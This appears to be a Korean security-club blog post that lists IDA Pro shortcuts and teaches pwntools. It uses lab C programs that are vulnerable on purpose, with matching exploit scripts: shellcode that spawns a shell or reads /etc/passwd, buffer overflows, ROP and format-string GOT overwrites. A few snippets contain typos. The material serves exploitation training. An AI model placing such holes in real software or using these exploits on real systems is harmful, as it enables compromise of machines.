일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 숙명여자대학교 정보보안동아리
- hackctf
- WarGame
- BOJ Python
- XSS Game
- CSS
- 웹페이지 만들기
- 드림핵
- SWEA
- 머신러닝
- Python
- hackerrank
- 숙명여자대학교 정보보안 동아리
- C언어
- 파이썬
- siss
- The Loard of BOF
- c
- Sookmyung Information Security Study
- Javascript
- 기계학습
- HTML
- 백준
- lob
- BOJ
- 생활코딩
- 자료구조 복습
- PHP 웹페이지 만들기
- c++
- 풀이
- Today
- Total
혜랑's STORY
IDA Pro 7.0 & pwntools 본문
# IDA Pro 7.0 사용법
1) Pseudo Code 보기 - F5, 특정 함수 이름 더블클릭
2) 디스어셈블 상태, 디버깅 상태에서 특정 어셈블리어 코드를 고치고 싶을 때
- 고칠 부분 클릭하고 Alt + F2
- Menu: edit -> other -> manual instruction -> 바꾸고 싶은 어셈블리어 구문 넣고 ok (프로그램 파일이 수정되는 것이 아니라 분석 화면에서만 바뀐다.)
3) Text View 화면과 Layout Graph 화면으로 전환
- IDA View 화면에서 Spacebar
- Graph Overview 기능으로 각 함수들의 관계와 분기점들을 Graph 화면으로 보여준다.
4) Open 한 파일 정보 보기
- IDA View 화면에서 스크롤을 맨 위로 올린다.
- Open한 파일의 MD5 정보, Open한 파일의 경로, 해당 파일의 Fortmat 정보, ImageBase 정보, Section의 size, OS 정보 등
5) Jump to function - Ctrl + p
6) Stack frame 확인하기
- 프로그램이 시작되면 main 함수 내 초록색 글씨부터 시작된다.
- 초록색 변수를 더블클릭하면 stack frame을 확인할 수 있고, 각 변수들의 위치도 볼 수 있다.
7) Jump to structure offset - g
- 이동하고 싶은 주소를 넣고 OK 누르면 해당 주소로 이동
8) 이름으로 검색 - Ctrl + l
9) Text 검색 - Alt + t
- 검색하려는 어셈블리어 구문을 넣는다.
10) String Window - Shift + F12
- 사용되는 API 정보들과 문자열을 보여준다.
- String 더블클릭 시 해당 지점으로 이동한다.
- Xref operand: 원래 함수 본체로 이동
- Xref reference: 해당 함수를 호출한 곳으로 이동
11) 전단계로 되돌아가기(뒤로가기) - ESC
12) IDA 그래프 - IDA View에서 F12
13) IDA Debugging 모드
- break point 설정: F2 or 왼쪽 동그라미를 누른다. 빨간색으로 표시되면 bp가 설정된 것인데, 해당 지점에 bp를 해제하고 싶으면 동그라미를 다시 누른다.
- Debugging 시작: 메뉴의 Debugger -> Start Process (F9)
- Step Into: F7
- Step Over: F8
- Debugging 종료: Ctrl + F2
- 계산기(Evaluate expression): Shift + /
14) 주석달기 - ;
15) (xref) call 따라가기
16) 함수 또는 변수명 이름 바꾸기 - n
17) byte 검색 - Alt + B / 메뉴의 serach -> sequence of bytes
18) 북마크 기능
- 메뉴의 Jump -> Mark position / Jump to marked position
- 주소 체크하기(Mark position): 메뉴의 Jump -> Markposition: Alt + m
- 체크한 주소로 이동(Jump to marked position): Ctrl + m
19) IDA View 창에서 OPcode 보이게 설정하기
- 메뉴에서 Options -> General의 Numver of opcode bytes를 6으로 설정(default:0)
20) Execuate Script - Shift + F2
21) 상호 참조 그래프
- 해당 함수가 호출되는 과정 및 해당 함수가 호출하는 함수를 그래프로 보여준다.
- 해당 함수 위치에서 우클릭 -> Xref graph from: 해당 함수가 호출하는 함수 그래프로 보여준다.
- 해당 함수 위치에서 우클릭 -> Xref graph to: 해당 함수가 호출되는 과정을 그래프로 보여준다.
22) 호출 함수 보기
- main 함수 위치에서 메뉴의 View -> Open subview -> Function calls: main 함수가 호출하는 함수를 주소와 함께 보여준다.
23) Xrep - x: 변수 들을 선택하고 x를 누르면 xref to name 창이 뜬다.
24) IDA 종료할 때
- Pack database: id0, id1, nam, til 파일들을 묶어 idb 파일 생성
Deflate: 파일 묶을 시 압축하고 저장 / Store: 압축하지 않고 저장
- Don't pack database: 파일 묶지 않는다.
- DON'T SAVE the database: IDA에서 한 작업을 저장하지 않는다. idb 파일 생성 X
25) IDA code path
- code patch: 바이너리의 코드를 수정하는 것
- IDA로 바이너리를 패치해도(코드를 수정해도) original 바이너리에 반영되지 않는다.
- Edit -> Patch program -> Change Bytes: 커서 위치부터 16 바이트의 값을 읽어와 출력해주고 그 값들을 수정할 수 있도록 한다.
-> Change Word: Word 값을 변경할 수 있다.
-> Assemble: 어셈블리 명령을 입력하여 코드 패치를 한다.
수정이 끝난 후 apply patch to input file을 수행하면 patch가 반영된다.
26) 동적 디버깅
Vmware 가상머신의 .vmx 파일을 텍스트 편집기로 연 후, 하단에 세 문장을 넣는다.
debugStub.listen.guest32 = "TRUE"
debugStub.hideBreakpoints = "TRUE"
monitor.debugOnStartGuest32 = "TRUE"
부팅하고 IDA에서 Attach -> Remote GDB Debbuger -> localhost:<#port>
0번에 attach to the process started on target을 선택한 후 0x7c00에서 breakpoint를 걸면 MBR 영역부터 디버깅이 가능하다.
27) Remote Debugging
- 가상머신에서 실행되는 바이너리를 원격의 호스트 머신에서 안전하게 분석할 수 있다.
출처: https://koharinn.tistory.com/69 [anonymous?]
# pwntools 설명
파이썬은 사용하기 쉬운 스크립트 언어라는 특징 때문에 익스플로잇을 할 때 자주 사용된다. pwntools는 Gallospled 팀이 개발한 파이썬 익스플로잇 프레임워크로, 익스플로잇을 할 때 유용한 여러 기능들을 제공해 준다.
다음 명령어를 통해 pwntools를 설치할 수 있다.
# apt-get update
# apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
# pip install --upgrade pip
# pip install --upgrade pwntools
파이썬 인터프리터에서 아래와 같이 pwn 모듈이 임포트되면 pwntools가 정상적으로 설치되는 것을 알 수 있다.
- Connection
pwntools를 사용하는 방법은 다음과 같다.
from pwn import *
#remote: 원격 서비스에 접속하여 통신할 때 사용되는 클래스
p = remote("127.0.0.1", 5000)
위 코드는 127.0.0.1 주소에 열려있는 5000번 포트에 TCP 연결을 맺는다. 연결이 성공적으로 맺어지면 remote 객체를 리턴한다.
p = remote("127.0.0.1", 5000, typ='udp')
위와 같이 typ에 'udp' 옵션을 전달하면 UDP 연결을 맺을 수 있다.
#process: 로컬 프로세스를 실행하여 통신할 때 사용되는 클래스
p = process("/home/theoti/binary")
위 코드는 로컬 파일시스템에 존재하는 /home/theori/binary 바이너리를 실행한다. process 클래스는 로컬에서 바이너리를 실행할 때 환경변수를 직접 설정할 수 있고, 프로그램을 실행할 때 인자를 전달해야 할 경우 다음과 같이 전달할 수 있다.
p = process(["/home/theori/binary", "AAAA"], env={"LD_PRELOAD":"./libc.so.6"]})
위 코드는 프로그램의 argv[1]에 "AAAA" 문자열을 전달하고 LD_PRELOAD 환경 변수를 ./libc.so.6으로 설정하여 실행한다.
#ssh: ssh는 ssh 서버에 접속하여 통신할 때 사용되는 클래스
p = ssh("theori", "127.0.0.1", port=22, paassword="theori")
위 코드는 127.0.0.1 서버에 theori 계정으로 ssh 로그인을 하여 연결하는 코드이다.
- send / recv
소켓에 연결하거나 프로그램을 실행할 때 데이터를 보내고 읽어들이는 작업을 해야한다. 이때 send 함수와 recv 메소드를 사용할 수 있다. 해당 메소드의 경우 연결이 맺어진 객체가 존재해야 사용할 수 있다.
#send: 연결이 맺어진 객체에 데이터를 보내는 메소드
p = remote("127.0.0.1", 22)
p.send("AAAA")
위 코드는 "127.0.0.1"의 22번 포트에 연결한 후 "AAAA"를 보낸다.
+) sendline은 연결이 맺어진 객체에 개행을 포함하는 데이터를 보내는 메소드이다.
p = remote("127.0.0.1", 22)
p.sendline("AAAA")
sendline은 send 메소드와 달리 "AAAA\n"을 송신한다.
#recv: 연결이 맺어진 객체로부터 수신한 데이터를 리턴하는 메소드
p = remote("127.0.0.1", 22)
print p.recv(1024)
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
위 코드는 "127.0.0.1"의 22번 포트에 연결했을 떄 출력되는 문자열을 1024바이트 만큼 수신하여 출력한다.
+) recvline은 연결이 맺어진 객체로부터 개행까지 수신하여 리턴하는 메소드이다.
+) recvuntil은 연결이 맺어진 객체에서 원하는 문자 혹은 문자열까지 읽는 메소드이다.
p = remote("127.0.0.1", 22)
print p.recvuntil("SSH")
SSH
process 함수를 통해 연결이 맺어진 객체는 send 메소드로 데이터를 보내면 stdin으로 사용자가 입력한 것과 동일한 역할을 하고, recv 함수로 데이터를 읽으면 stdout으로 출력된 문자열을 가져올 수 있다.
#sendafter: send와 recv를 동시에 하는 메소드로 원하는 문자 혹은 문자열까지 읽은 뒤 데이터를 보내는 함수이다.
p = remote("127.0.0.1", 22)
print p.sendlineafter("\n","AAAA")
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
- pack / unpack
pack과 unpack은 각각의 데이터 크기에 맞게 데이터를 변환할 때 사용한다.
패킹 함수는 정수를 인자로 받아 패킹한 후 문자열 형태로 리턴한다. 반면에 언패킹 함수는 문자열을 인자로 받아 언패킹 한 후 정수 형태로 리턴한다. 두 함수는 리틀 엔디언 혹은 빅엔디언 형태로 지정해줄 수 있고, 지정하지 않는다면 이틀 엔디언 형태로 변환한다. 데이터 크기에 따라 함수가 존재하기 떄문에 데이터에 맞게 사용해야 한다.
#pack
1. p8 : 1 바이트의 데이터를 패킹하는 함수
2. p16 : 2 바이트의 데이터를 패킹하는 함수
3. p32 : 4 바이트의 데이터를 패킹하는 함수
4. p64 : 8 바이트의 데이터를 패킹하는 함수
-> 빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 된다.
#unpack
1. u8 : 1 바이트의 데이터를 언패킹하는 함수
2. u16 : 2 바이트의 데이터를 언패킹하는 함수
3. u32 : 4 바이트의 데이터를 언패킹하는 함수
4. u64 : 8 바이트의 데이터를 언패킹하는 함수
-> 역시 빅 엔디언으로 변환하기 위해서는 두 번쨰 인자로 endian='big'을 명시해주면 된다.
- ELF
익스플로잇 코드를 작성할 떄 함수 주소와 문자열 주소 등을 구해야 한다. 이때, ELF를 사용하면 ELF 헤더를 갖고 있는 파일의 경우 파일의 여러 데이터를 가져올 수 있다.
elc.c는 ELF를 사용하기 위한 예제이며, ,스택 버퍼 오버플로우가 발생하는 코드이다.
// gcc -o elf elf.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() {
system("/bin/sh");
}
int main()
{
char buf[256];
printf("Hello World!");
read(0, buf, 1024);
return 0;
}
다음과 같이 파일을 로딩할 수 있다.
ELF의 인자로 파일 경로를 전달하면 해당 파일에 적용된 보호 기법을 알 수 있고 파일의 객체는 elf 변수에 저장된다.
- plt는 바이너리에 존재하는 PLT 주소를 가져온다.
바이너리 내에 printf@plt와 system@plt가 존재한다면 해당하는 주소를 가져올 수 있다.
- got는 바이너리에 존재하는 GOT 주소를 가져온다.
바이너리 내에 printf@got와 system@got가 존재한다면 해당하는 주소를 가져올 수 있다.
- symbols는 바이너리에 존재하는 함수의 주소를 가져온다.
바이너리 내에 giveshell 함수가 존재한다면 해당하는 주소를 가져올 수 있다. strip과 같은 도구로 함수 심볼이 존재하지 않는다면 위와 같은 방법으로 주소를 가져올 수 없다.
- search는 바이너리에 존재하는 문자열의 주소를 가져온다.
예제는 printf 함수의 인자로 "Hello World!" 문자열이 존재하기 때문에 해당 문자열의 주소를 가져올 수 있다.
- get_section_by_name은 바이너리에 존재하는 섹션의 주소를 가져온다.
bss 섹션과 text 섹션의 주소를 가져올 수 있다.
- read는 원하는 바이너리 주소의 데이터를 읽어온다.
read의 인자로 바이너리의 주소와 읽을 바이트 수를 전달하면 해당하는 주소에 존재하는 값을 읽어온다.
- write는 원하는 바이너리 주소에 데이터를 쓴다.
write을 사용해서 특정 영역의 코드를 수정하기 위해 사용할 수 있다.
- elf.py
# elf.py
from pwn import *
context.arch = 'x86_64'
p = process("./elf")
elf = ELF('./elf')
payload = "A"*264
payload += p64(elf.symbols['giveshell'])
p.send(payload)
p.interactive()
위 코드는 ELF를 사용하여 리턴 주소를 giveshell 함수의 주소로 덮어쓰는 코드이다.
리턴 주소가 giveshell로 조작되면서 셸을 획득했다.
- Assenbly / Disassembly
셸코딩을 하거나 특정 바이트의 디스어셈블리 결과를 보기 위해서 사용할 수 있다.
# Assembly
asm 함수는 명령어를 인자로 전달하면 바이트로 변환한다.
또한 두 개 이상의 명령어도 변환할 수 있다.
기본적으로 x86 아키텍처를 지원한다. 시스템의 아키텍처마다 명령어 혹은 레지스터가 다르기 때문에 아키텍처를 따로 지정해야 한다.
context.arch를 사용하면 원하는 아키텍처를 지정할 수 있다.
#Disassembly
disasm 함수는 특정 바이트를 명령으로 변환한다.
명령어 형태로 변환되었다. disasm 함수 또한 두 개 이상의 바이트를 명령어으로 변환할 수 있다.
disasm 함수는 기본적으로 x86 아키텍처를 지원한다. 시스템의 아키텍처마다 명령어 혹은 레지스터가 다르기 때문에 아키텍처를 따로 지정해야 한다.
x86 아키텍처에 맞게 변환되는 것을 볼 수 있고, context.arch를 통해 x86_64 아키텍처로 지정해주면 해당하는 아키텍처에 맞게 변환된다.
asm.c는 입력한 값을 실행해주는 코드이다.
// gcc -o asm asm.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char shellcode[256];
read(0, shellcode, 256);
int (*shell)() = (int (*)())shellcode;
shell();
}
asm.py는 execve("//bin/sh", 0, 0)을 실행하는 셸코드를 asm 함수를 사용해서 작성했다고 한다.
# asm.py
from pwn import *
context.arch = 'x86_64'
p = process("./asm")
payload = asm("xor rcx, rcx")
payload += asm("push rcx")
payload += asm("mov rbx, 0x68732f6e69622f2f")
payload += asm("push rbx")
payload += asm("mov rdi, rsp")
payload += asm("mov al, 59")
payload += asm("mov rsi, 0")
payload += asm("mov rdx, 0")
payload += asm("syscall")
p.send(payload)
p.interactive()
execve("//bin/sh", 0, 0)가 실행되며 셸을 획득하였다.
- shellcraft
shellcraft는 원하는 시스템 콜과 인자르르 지정해주면 셸코드를 작성해주는 기능이다.
shellcraft.c는 작성한 셸코드를 실행하기 위한 예제이다.
// gcc -o shellcraft shellcraft.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
char shellcode[256];
read(0, shellcode, 256);
int (*shell)() = (int (*)())shellcode;
shell();
}
shellcraft에서 지원하는 시스템 콜은 다음 명령을 통해 확인할 수 있다.
셸을 획득하기 위해서는 execve 시스템 콜을 사용해서 셸코드를 작성해야 한다.
shellcraft.execve("/bin/sh", 0, 0)을 사용하면 execve("/bin/sh", 0, 0)이 실행되는 디스어셈블리 명령어를 출력한다. 이를 셸코드로 변환하기 위해서는 앞서 언급한 asm 함수를 사용해야 한다.
shellcraft는 스택에 값을 저장하고 레지스터를 인자로 전달하는 셸코드를 작성할 수 있다.
shellcraft1.py는 execve("/bin/sh", 0, 0)을 실행하는 셸코드를 작성하고 프로그램에 입력하는 코드이다.
# shellcraft1.py
from pwn import *
context.arch = 'x86_64'
p = process("./shellcraft")
shellcode1 = shellcraft.execve("/bin/sh",0,0)
p.send(asm(shellcode1))
p.interactive()
셸코드가 실행되며 셸을 획득하였다.
shellcraft2.py는 open, read, write를 실행하는 셸코드를 작성하고 프로그램에 입력하는 코드이다.
# shellcraft2.py
from pwn import *
context.arch = 'x86_64'
p = process("./shellcraft")
shellcode2 = shellcraft.pushstr("/etc/passwd")
shellcode2 += shellcraft.open('rsp',0,0)
shellcode2 += shellcraft.read('rax', 'rsp', 60)
shellcode2 += shellcraft.write(1, 'rsp', 60)
p.send(asm(shellcode2))
p.interactive()
셸코드가 실행되면서 파일을 읽어왔다.
#interactive
shellcraft1.py와 shellcraft2.py를 보면 p.interactive() 코드가 존재한다. interactive 함수는 연결이 맺어진 객체와 상호 작용 할 수 있도록 하는 함수이다. 예를 들어, shellcraft1.py의 경우 셸코드를 입력하면 execve("/bin/sh", 0, 0)이 실행되며 셸을 획득한다. 이때, interactive 함수를 사용하면 사용자가 직접 명령어를 입력하고 출력된 결과를 확인할 수 있다.
- cyclic
cyclic 함수는 버퍼의 크기를 제대로 계산하지 않고 수많은 데이터를 입력해 리턴 주소가 덮였을 때 버퍼와 리턴 주소의 간격을 정확하게 알아낼 수 있다. 같은 값의 수 많은 데이터를 입력하면 리턴 주소까지의 간격을 알 수 없다. 이때 cyclic은 데이터를 바이트마다 다르게 하여 리턴 주소까지의 간격을 계산할 수 있다.
cyclic.c는 dummy 구조체에 많은 멤버 변수를 삽입하면서 버퍼와 리턴 주소의 간격을 알아내기 힘들도록 했다.
// gcc -o cyclic cyclic.c -fno-stack-protector
#include <stdio.h>
#include <unistd.h>
struct dummy {
int name_len;
int age;
int page_num;
char name[1024];
char book_name[16];
int serial;
short nick_len;
char nickname[16];
};
int main()
{
struct dummy dummy;
read(0, dummy.name, 2048);
return 0;
}
실제로 이보다 더 많은 멤버변수가 선언되어 있을 경우에 리턴 주소까지의 정확한 간격을 알아내려면 자료형을 계산하는 시간이 필요하다. 이때 익스플로잇의 속도를 높이기 위해 cyclic을 사용할 수 있다.
cyclic의 인자로 입력할 바이트의 수를 전달하면 4 바이트마다 다른 문자열롤 2048 바이트의 문자열이 생성된다. n 옵션에 따라 바뀌는 바이트의 인덱스틑 변결할 수 있다.
cyclic1.py는 8 바이트마다 바뀌는 2048 바이트의 문자열을 생성하고 입력하는 코드이다.
# cyclic1.py
from pwn import *
p = process("./cyclic")
payload = cyclic(2048, n=8)
p.send(payload)
p.interactive()
이를 실행하고 ret 명령어에서 멈췄을 때의 rsp 레지스터를 확인하면 리턴 주소를 알 수 있다.
리턴 주소가 0x6161616c66616161 값으로 덮인 것을 확인할 수 있다.
cyclic.index는 생성된 문자열에서 인자로 주어진 문자열의 위치를 리턴한다. 그렇다면 cyclic.index를 사용해서 0x6161616c66616161 문자열이 존재하는 위치를 알아내면 된다.
1084 바이트 뒤에 리턴 주소가 있는 것을 알 수 있었다.
cyclic2.py는 리턴 주소를 0xdeadbeef 값으로 덮어쓰는 코드이다.
# cyclic2.py
from pwn import *
p = process("./cyclic")
payload = "B"*1084
payload += p32(0xdeadbeef)
p.send(payload)
p.interactive()
- ROP
ROP는 코드 가젯을 연결해서 실행하려는 코드를 작성해주는 기능이다. 해당 기능을 이용하면 쉽게 ROP 코드를 작성할 수 있다. ROP는 각각의 아키텍처마다 호출 규약이 다르기 때문에 context.arch를 사용하여 공격하는 바이너리의 아키텍처를 명시해야 한다.
rop_pwn.c는 스택 버퍼 오버플로우가 발생하고 system 함수를 사용했다. 64비트 ROP를 하기위해 rdi, rsi, rdx 레지스터를 조작할 수 있는 함수 또한 존재한다.
// gcc -o rop_pwn rop_pwn.c -fno-stack-protector
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void gadget() {
asm("pop %rdi");
asm("pop %rsi");
asm("pop %rdx");
asm("ret");
}
int main()
{
char buf[256];
read(0, buf ,1024);
system("clear");
return 0;
}
ROP 기능을 사용해서 셸을 획득하기 위해서는 바이너리의 정보를 가져와야 하기 때문에 ELF 함수 또한 필요하다.
rop 변수에 ROP 클래스의 객체가 리턴되었다. 다음은 read 함수의 ROP 코드를 작성하는 코드이다.
gadget 함수에 존재하는 pop rdi; pop rsi; pop rdx; ret 가젯을 가져와 함수의 인자를 설정하고 read 함수를 호출하는 ROP 코드가 작성되었따. 작성된 ROP 코드는 다음과 같이 볼 수 있다.
rop_pwn.py는 bss 섹션에 "/bin/sh" 문자열을 입력하고 system 함수 인자에 bss 섹션 주소를 전달하여 호출하는 코드이다.
# python rop_pwn.py
from pwn import *
context.arch = 'x86_64'
p = process("./rop_pwn")
elf = ELF('./rop_pwn')
rop = ROP(elf)
binsh = "/bin/sh\x00"
rop.read(0, elf.bss(), len(binsh))
rop.system(elf.bss())
payload = "A"*264
payload += str(rop)
p.send(payload)
p.send(binsh)
p.interactive()
- fmtstr
포맷 스트링 버그는 출력한 바이트의 개수와 덮어쓸 값을 연산해서 코드를 작성해야 하기 때문에 익스플로잇하는데 시간이 오래 걸리고 번거롭다.
fmtstr은 연산이 필요없이 주소와 값을 입력하면 해당 주소를 덮어쓸 수 있도록 코드를 작성할 수 있다.
fmt.c는 256 바이트를 버퍼에 입력하고 포맷 스트링 버그가 발생하는 코드이다. exit@got를 giveshell 함수 주소로 덮으면 셸을 획득할 수 있다.
// gcc -o fmt fmt.c -m32
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void giveshell() {
system("/bin/sh");
}
int main()
{
char buf[256];
read(0, buf, 256);
printf(buf);
exit(0);
}
fmtstr은 익스플로잇 코드를 작성하기 전에 데이터를 보낼 함수와 printf 함수를 호출할 때의 esp로부터 떨어진 인덱스 값을 인자로 주어야 한다.
fmt.c의 경우 6번째에 사용자가 입력한 값이 출력되었다.
# fmt.py
from pwn import *
context.arch = 'x86'
def send_payload(payload):
print p.sendline(payload)
p = process("./fmt")
elf = ELF('./fmt')
exit_got = elf.got['exit']
giveshell = elf.symbols['giveshell']
fmt = FmtStr(send_payload, offset=7)
fmt.write(exit_got,giveshell)
fmt.execute_writes()
p.interactive()
send_payload를 통해 fmt 변수에 객체를 할당하고, 원하는 주소에 값을 쓰기 위해 write 함수의 첫 번째 인자로 주소를 전달하고, 두 번째 인자에 덮어 쓸 값을 전달한다. 익스플로잇 코드가 작성된 상태에서 send_payload 함수를 통해 데이터를 보내기 위해서는 execute_writes 함수를 호출해야 한다.
fmt.py를 실행하면 작성된 포맷 스트링 버그 익스플로잇 코드가 send_payload 함수를 통해 입력되어 셸을 획득할 수 있다.
'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글
[HackCTF] Basic_BOF #1 (0) | 2021.04.09 |
---|---|
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.04.02 |
[TAMU CTF 2018] pwn3 (0) | 2021.03.31 |
[HITCON-Training] lab3 - ret2sc (0) | 2021.03.30 |
[Lazenca] Return to Shellcode (0) | 2021.03.30 |